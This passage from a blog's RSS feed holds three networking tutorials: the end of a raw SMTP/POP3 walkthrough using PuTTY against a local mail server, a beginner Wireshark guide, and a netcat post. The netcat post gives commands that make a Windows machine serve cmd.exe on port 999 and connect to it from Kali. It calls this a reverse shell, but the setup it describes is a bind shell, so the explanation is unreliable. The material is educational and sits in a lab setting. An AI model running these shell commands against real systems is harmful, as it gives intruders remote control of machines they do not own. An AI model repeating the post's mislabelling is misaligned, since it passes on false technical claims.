Email</h3><blockquote>Before you start, install the mail server and configure the email in outlook.</blockquote><h4>Mail Sever Configuration:</h4><p>I have set up a mail server on my localhost using hMailServer. I have created a single domain, <strong>email.com</strong>, and two user accounts: <strong>khan@email.com</strong> and <strong>user@email.com</strong>. My configuration setting is show in below picture:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMwaW7xZxtWWqMQz2k96qQ.png" /></figure><h4>Outlook Configuration:</h4><p>Below are the configuration settings for my Outlook:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2z-INisems5oYmH6y615g.png" /></figure><p><strong>Point to be noted:</strong></p><ul><li>Since I am running the mail server on my localhost, therefore I have used <strong>localhost</strong> in the server filed for both Incoming Mail (POP) and Outgoing Mail (SMTP). If Mail server is running on another machine, use the IP address of that machine.</li><li>Also note that I have <strong>not enabled the encryption</strong> for POP and SMTP.</li><li>Same, configuration setting is used for <strong>user@email.com</strong>.</li></ul><p>You will receive a test email on successful configuration.</p><h4>Raw Format Email:</h4><p>In this section, we will explore how emails appear in raw format. This will help us gain a better understanding of how email functions. To view and send emails in raw format, we will utilize PuTTY.</p><blockquote>Note: PuTTY is a free and open-source terminal emulator and network tool. It allows users to establish secure connections to remote systems using protocols like SSH, Telnet, Raw and more. It is a popular choice for remote access and network administration tasks.</blockquote><h4>Sending Email In Raw Format:</h4><p>Please configure <strong>PuTTY </strong>according to the settings shown in the picture below, and then click “<strong>Open</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*tPzFEvuaRTOFr3-HrD4XBg.png" /><figcaption>putty configuration for Sending Email</figcaption></figure><p>Now wait for the <strong>220 status code</strong> form the server and then type the following lines:</p><pre>HELO email.com<br>MAIL FROM: user@email.com<br>RCPT TO: khan@email.com<br>DATA<br>From: User &lt;user@email.com&gt;<br>To: khan@email.com<br>Subject: Working of email<br>Date: Thu, 11 Apr 2024 12:00:00<br>Content-type: text/html;<br>charset=&quot;ISO-8859-1&quot;;<br><br>&lt;html&gt;&lt;body&gt;<br>&lt;h1&gt;This email is sent through PuTTY&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>.<br>quit</pre><p><strong>Point To Be Noted:</strong></p><ul><li>Please ensure that you leave a blank line after “charset=”ISO-8859–1&quot;;” and then begin writing your HTML code. Failing to do so may result in an empty email being displayed.</li><li>Please take note of the date format. If you do not adhere to the format, the date and time will not be visible in the email.</li><li>The body of the email is not a plain text but an Html code.</li><li>As you can see, I have placed a period ( . ) on a new line after the &lt;/html&gt; tag. This serves as a terminator, indicating the end of the email and triggering the email to be sent.</li></ul><p>Your conversation with the sever may look like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*m-uR4RHK1c1PrGZ0ib2ErQ.jpeg" /><figcaption>using the PuTTY terminal to send an email.</figcaption></figure><p><strong>Here’s a breakdown of the steps you performed:</strong></p><ul><li><strong>220 DESKTOP-0GBK1JE ESMTP: </strong>When connection is initiated with the mail server, it responded responded with the status code <strong>220 DESKTOP-0GBK1JE ESMTP, </strong>indicating that the server is ready to receive commands. (Note: <strong>DESKTOP-0GBK1JE ESMTP i</strong>s the name of my localhost)</li><li><strong>HELO email.com</strong>: Greet the server with <strong>HELO</strong> command and the server responded with an acknowledgement (<strong>250 Hello </strong>response).</li><li><strong>MAIL FROM: </strong>specifies the sender’s email address and the server accepted it (<strong>250 OK </strong>response)</li><li><strong>RCPT TO:</strong> specifies the recipient’s email address and the server accepted it (<strong>250 OK </strong>response).</li><li><strong>DATA: </strong>Initiates the email message content using the <strong>DATA</strong> command, and the server indicates that you can proceed (<strong>354 OK, send.</strong> response).</li><li>Then the email message content is provided, including sender (<strong>From:</strong>), recipient (<strong>To:</strong>), subject (<strong>Subject:</strong>), date (<strong>Date:</strong>), content type (<strong>Content-type:</strong>), character set (<strong>charset=</strong>) and HTML content (body of the message).</li><li><strong>period ( . )</strong> : indicates the end of the message by sending a period (“.”) on a line by itself.</li><li>The server confirmed that the email was successfully queued for delivery (<strong>250 Queued</strong> response).</li><li><strong>quit:</strong> ends the session, and the server confirmed the termination of the session (<strong>221 goodbye</strong> response).</li></ul><h4>Viewing Email In Raw Format:</h4><p>Please configure <strong>PuTTY </strong>according to the settings shown in the picture below, and then click “<strong>Open</strong>”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*iCVbzBM1jEdJdfQd_OqiKA.png" /><figcaption>PuTTY configuration for viewing emails.</figcaption></figure><p>Now type the following commands:</p><pre>CAPA<br>USER khan@email.com<br>PASS 123<br>LIST<br>RETR 20<br>QUIT</pre><p>Your conversation with the sever may look like the following:</p><pre>+OK POP3<br>CAPA<br>+OK CAPA list follows<br>USER<br>UIDL<br>TOP<br>.<br>USER khan@email.com<br>+OK Send your password<br>PASS 123<br>+OK Mailbox locked and ready<br>LIST<br>+OK 20 messages (14347 octets)<br>1 1099<br>2 2624<br>3 221<br>4 519<br>5 534<br>6 992<br>7 982<br>8 510<br>9 262<br>10 338<br>11 408<br>12 2507<br>13 398<br>14 394<br>15 424<br>16 430<br>17 424<br>18 426<br>19 426<br>20 429<br>.<br>RETR 20<br>+OK 429 octets<br>Return-Path: user@email.com<br>Received: from email.com (DESKTOP-0GBK1JE [127.0.0.1])<br>        by DESKTOP-0GBK1JE with ESMTP<br>        ; Fri, 12 Apr 2024 19:32:38 +0500<br>Message-ID: &lt;B568474A-FDDD-40E5-957B-A7E162CC45FF@DESKTOP-0GBK1JE&gt;<br>From: User &lt;user@email.com&gt;<br>To: khan@email.com<br>Subject: Working Of Email<br>Date: Fri, 12 Apr 2024 07:31:00<br>Content-type: text/html;<br>charset=&quot;ISO-8859-1&quot;;<br><br><br>&lt;html&gt;&lt;body&gt;<br>&lt;h1&gt;This email is sent through PuTTY&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>.<br>QUIT<br>+OK POP3 server saying goodbye...</pre><p><strong>Here’s a breakdown of what is happening:</strong></p><ul><li>After session is initiated, server responded with “<strong>+OK POP3</strong>.”</li><li><strong>CAPA:</strong> This command returns the list of capabilities (allowed commands) supported by the server.</li><li><strong>USER:</strong> this allow us to enter the username or email address of the user we want to log in as. It is also a part of the authentication process.</li><li>Then the server requested the password with the response “<strong>+OK Send your password</strong>.”</li><li><strong>PASS:</strong> Allow to enter the password associated with the provided username or email address. The password “<strong>123</strong>” was entered as part of the authentication process.</li><li><strong>LIST:</strong> This Command returns the list of email messages available along with their sizes in the server’s mailbox.</li><li><strong>RETR Number:</strong> RETR command is followed by the message number. This command is used to retrieve (fetch) the contents of a the message from the server’s mailbox.</li><li><strong>Quit: </strong>This command terminates the session and disconnect from the server, and the server responded with “<strong>+OK POP3 server saying goodbye…</strong>”.</li></ul><p><strong>Points To Be Noted:</strong></p><ul><li>When you list the emails using <strong>LIST </strong>command, the mail at the bottom is the latest mail and the mail at the top is the oldest mail.</li><li>The sizes shown are in Bytes.</li></ul><h4>POP3 Protocol Commands:</h4><p>Following table list some of the commonly used commands in the POP3 protocol:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fsheetsu.com%2Ftables%2Fbc749eed61&amp;dntp=1&amp;display_name=Sheetsu&amp;url=https%3A%2F%2Fsheetsu.com%2Ftables%2Fbc749eed61&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=sheetsu" width="700" height="652" frameborder="0" scrolling="no"><a href="https://medium.com/media/a308e7da801baf9a1f2e750f12f289a5/href">https://medium.com/media/a308e7da801baf9a1f2e750f12f289a5/href</a></iframe><blockquote>Please note that these are just a few examples of commands used in the POP3 protocol. There are additional commands and variations depending on the specific implementation of the protocol.</blockquote><h4>Storing Of Emails On Server:</h4><p>Most mail servers use a file system approach to store email data. In the case of <strong>hMailServer</strong>, it creates separate folders for each domain under the <strong>Data </strong>folder. Within each domain folder, it further creates separate folders for each user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*oCzahWFyFTsDqEIwpmfhYg.png" /></figure><p>All of these folders contain a .eml file, which serves as the actual email message file. You can also view the email in raw format by opening these files with Notepad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*pkDJI-Monb53-nMCnmEKFA.png" /><figcaption>.eml File opened in Notepad.</figcaption></figure><p>This is the same result that we observed in PuTTY.</p><blockquote><strong>Note:</strong> Outlook utilizes a database approach to store emails.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87274342640f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Say Hello To Wireshark]]></title>
            <link>https://medium.com/@raoopf/say-hello-to-wireshark-7b6ebb9107c3?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b6ebb9107c3</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[packet-analysis]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Mon, 01 Apr 2024 07:46:18 GMT</pubDate>
            <atom:updated>2025-02-05T15:59:32.925Z</atom:updated>
            <content:encoded><![CDATA[<h4>Intro Session</h4><h4>Breaking down Wireshark: A beginner-friendly blog about the packet analyzer.</h4><h3>Wireshark</h3><p>Capturing packets using Wireshark is a fundamental skill for network administrators, security professionals, and anyone looking to understand network traffic. This powerful tool allows users to analyze and troubleshoot network issues by capturing and inspecting data packets in real-time.</p><p>In this comprehensive guide, we will explore the basics of packet capture, introduce the Wireshark software, and provide step-by-step instructions on setting up, capturing, analyzing, and filtering packets using Wireshark. Whether you are a beginner or an experienced user, mastering packet capture with Wireshark can greatly enhance your network monitoring and troubleshooting capabilities.</p><h3>Interface</h3><ol><li>Wireshark Welcome Page/Capture Window</li><li>Wireshark Main window.</li></ol><h4>Wireshark Welcome Page:</h4><p>When you open the Wireshark, the fist screen which appears is the <strong>welcome screen</strong>. On this screen, all network interfaces of your system are listed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mc-VtXbWheooPKedzcKiow.png" /><figcaption>Wireshark Welcome Page</figcaption></figure><blockquote><strong>Note:</strong> If you do not see any network interfaces listed, please run Wireshark with root or administrative privileges.</blockquote><h4>Wireshark Main window:</h4><p>To see the network traffic or to capture the packets of the interface, double-click on that particular interface in the welcome screen. The screen which now appears is the <strong>Main window. </strong>By default this window is divided into three sections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G3tjf1MzQLwRgEvtf0C7JQ.png" /><figcaption>Wireshark Main Window</figcaption></figure><ul><li><strong>Packet List Section:</strong> This shows all data packets that have been captured by Wireshark. It includes the timestamp, source address, destination address, protocol used, packet length, and additional information.</li><li><strong>Packet Detail Section: </strong>In this section, we will can explore and analyze the various layers of the OSI model that the packet has traversed. To dive deeper into the data associated with a specific layer, simply click on that layer.</li><li><strong>Packet Bytes Section:</strong> This layer shows the actual content the packet contains. This is represented in Hexadecimal format.</li></ul><blockquote>Note: To stop the capturing of packets, click on the red square box (second from left) in the tool bar.</blockquote><h3>Filters</h3><p>As you can observe, we have captured a large number of packets using Wireshark. However, not all of these packets are relevant to our analysis. If we wish to focus on specific types of packets, such as http or TCP, or if we want to analyze packets associated with a particular IP address, we can utilize filters. These filters allow us to display only the packets that are of interest to us. For instance, to analyze TCP packets, we can simply enter “TCP” in the filter bar. Similarly, if we want to view packets associated with a specific IP address (e.g., 192.168.43.218), we can enter “ip.addr = 192.168.43.218”. You can even combine filters using logical operators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WWpNTRKum4Nzp-w7gD1k5Q.png" /></figure><p><a href="https://drive.google.com/file/d/13w3Mlj29jF09cgozRTeVDibPQr8_meUL/view?usp=sharing">Wireshark Cheat Sheet.pdf</a></p><h3>Packet Colorization</h3><p>One handy feature in Wireshark is packet colorization. The packets in the Wireshark are highlighted with different colors. By setting up Wireshark to colorize packets based on a display filter, you can easily highlight the packets you’re interested in.</p><p>Following image shows the Default Coloring Rules:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*94ITNnS2d_adzyB_ahoJnw.jpeg" /><figcaption>Wireshark Default Coloring Rules</figcaption></figure><h3>Following the HTTP Stream (Packet Analysis)</h3><p>You may have heard that website using HTTP protocols are not secured and this makes it easy for us to read the data which was send and received from this website. Do do so :</p><ol><li>Right click on the packet you want to follow</li><li>From the dialog box, hover over the <strong>Follow </strong>option.</li><li>Then click the HTTP Stream.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itMIYTV-xN7mcVwvu4P5og.jpeg" /></figure><p>A new widow will appear that displays all data in plain text (not encrypted), making it vulnerable to hackers who can easily sniff out sensitive information such as usernames and passwords. So be careful when browsing HTTP websites to protect your personal data from potential security breaches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFrnR3JPIKR1rHLq6l8ObA.png" /></figure><h3>Following Other Protocol Stream</h3><p>The data from other protocol streams, like HTTPS or TCP, is secured in encrypted form. This means you can’t just follow the stream and extract information from it. As for decrypting HTTPS traffic, I’ll cover that in a future blog post.</p><p>This was all for this blog post. Hope it will help you to get started with Wireshark.</p><p>Happy packet analyzing! 😋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b6ebb9107c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To gain A Reverse Shell Using NetCat]]></title>
            <link>https://medium.com/@raoopf/how-to-gain-a-reverse-shell-using-netcat-00cb27c9d270?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/00cb27c9d270</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Mon, 18 Mar 2024 18:07:13 GMT</pubDate>
            <atom:updated>2024-03-18T18:07:13.937Z</atom:updated>
            <content:encoded><![CDATA[<h4>There are two sides to every coin.</h4><h4>Dark Side Of NetCat: Lets uncover the hidden darkness within NetCat.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ml84Fs_A5lp7If3t" /><figcaption>Photo by <a href="https://unsplash.com/@hidd3n?utm_source=medium&amp;utm_medium=referral">Kevin Horvat</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Netcat is a widely used networking utility tool with the basic purpose of read(listen) and write data across the network. It has may functionality such as <em>port scanning</em>,<em> listing to a connection</em>, <em>file transferring</em>, and <em>testing the network.</em></p><blockquote><strong>Fun Fact:</strong> Netcat is the Swiss Army knife of networking tools.</blockquote><p>In the realm of cybersecurity and ethical hacking, gaining a reverse shell is a fundamental skill that allows remote access to a target system. Understanding the intricacies of reverse shells and mastering the use of Netcat as a versatile tool are essential for security professionals and enthusiasts alike. This article will provide a comprehensive guide on how to effectively gain a reverse shell using Netcat, covering everything from setting up the target system to troubleshooting common issues, and exploring advanced techniques to maximize the utility of reverse shells in various scenarios.</p><h4>What Is Reverse Shell?</h4><p><em>Reverse shells are like a sneaky backdoor entrance into a computer, allowing an attacker to gain remote access.</em></p><p>Think of reverse shell as a secret passage that lets you control someone else’s computer from a distance. It’s a powerful tool for both ethical hackers and cybercriminals.</p><blockquote><strong>Disclaimer: </strong>This article is for educational purposes only. It is strictly prohibited to use the information for illegal activities. The individual is solely responsible for any illegal actions taken. The author, publisher, and affiliated parties are not liable for misuse or unlawful application of the content. It is advised to follow the law and use good judgment when applying the information.</blockquote><h4>Outlines:</h4><ol><li>Setting Up The Target System</li><li>Setting Up the Attack Machine</li><li>Establishing A Reverse Shell Connection</li></ol><h4>Setting Up The Target System:</h4><p>To established a reverse shell using Netcat requires the installation of Netcat on both the system; target system as well as attack machine. In my case the windows will be the target machine, and kali Linux will be the attack machine. Following link provides the installation guide on Netcat.</p><p><a href="https://serverspace.io/support/help/how-to-install-ncat-tool-on_windows-and-linux/">How to install ncat tool on Windows and Linux | Serverspace</a></p><h4>Setting Up The Attack Machine:</h4><p>As told earlier, this task requires the installation of Netcat on both machines. In my scenario, Kali Linux serves as the attack machine, and Netcat is preinstalled on it.</p><p>In case Netcat is not installed on Linux, use the following command to install it:</p><pre>┌──(kali㉿kali)-[~]<br>└─$ sudo apt update<br><br>┌──(kali㉿kali)-[~]<br>└─$ sudo apt-get install netcat</pre><h4>Establishing A Reverse Shell Connection:</h4><p>To begin, open the Command Prompt (CMD) in the directory where Netcat has been installed. Next, enter the following command in the Command Prompt.</p><pre>nc -lnvp 999 -e cmd.exe</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FDHfs6uCYNHs&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DDHfs6uCYNHs&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=google" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5d0fcfd5825151b9d0c3edb575173859/href">https://medium.com/media/5d0fcfd5825151b9d0c3edb575173859/href</a></iframe><p>Here is a breakdown of what each part of the command does:</p><ul><li>nc: This is the command-line tool nc, which stands for &quot;netcat.&quot;</li><li>l: This flag tells nc to listen for incoming connections.</li><li>v: This flag enables verbose output, providing more detailed information about the connection.</li><li>p: This flag specifies the port number to listen on. In this case, it&#39;s set to port 999.</li><li>e cmd.exe: This flag tells nc to execute the command cmd.exe upon establishing a connection.</li></ul><blockquote><strong>Note:</strong> Please verify the name under which Netcat is installed. It is possible that it is installed under the name <strong>ncat.exe</strong>, please consider using <strong>ncat </strong>instead of <strong>nc </strong>in your command if applicable.</blockquote><p>When this command is executed, it will make the nc tool listen on port 999 for incoming connections. Once a connection is established, nc will execute the cmd.exe command, effectively providing a command prompt to the connecting client.</p><p>Let’s now proceed to our attack machine. Open the terminal on Kali Linux and enter the following command:</p><pre>┌──(kali㉿kali)-[~]<br>└─$ nc 192.168.43.34 999</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FVbXzukT_hPE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DVbXzukT_hPE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FVbXzukT_hPE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c2a36354ee3ec0638eb291e119690596/href">https://medium.com/media/c2a36354ee3ec0638eb291e119690596/href</a></iframe><p>Here is a breakdown of what each part of the command does:</p><ul><li>nc: This is the command-line tool nc, also known as netcat.</li><li>192.168.43.34: This is the IP address of the destination machine you want to connect to. The IP address 192.168.43.34 is an example and should be replaced with the actual IP address you intend to connect to (More precisely the IP address of your Windows machine where Natcat is listening for connections).</li><li>999: This is the port number on the destination machine that you want to connect to. (In this case, it is set to port 999, but you can replace it with the appropriate port number for your specific use case.)</li></ul><p>When you execute this command, nc will attempt to establish a TCP connection to the specified IP address and port. If the connection is successful, a reverse shell will be obtained, allowing you to interact with the remote machine via the command line interface.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00cb27c9d270" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>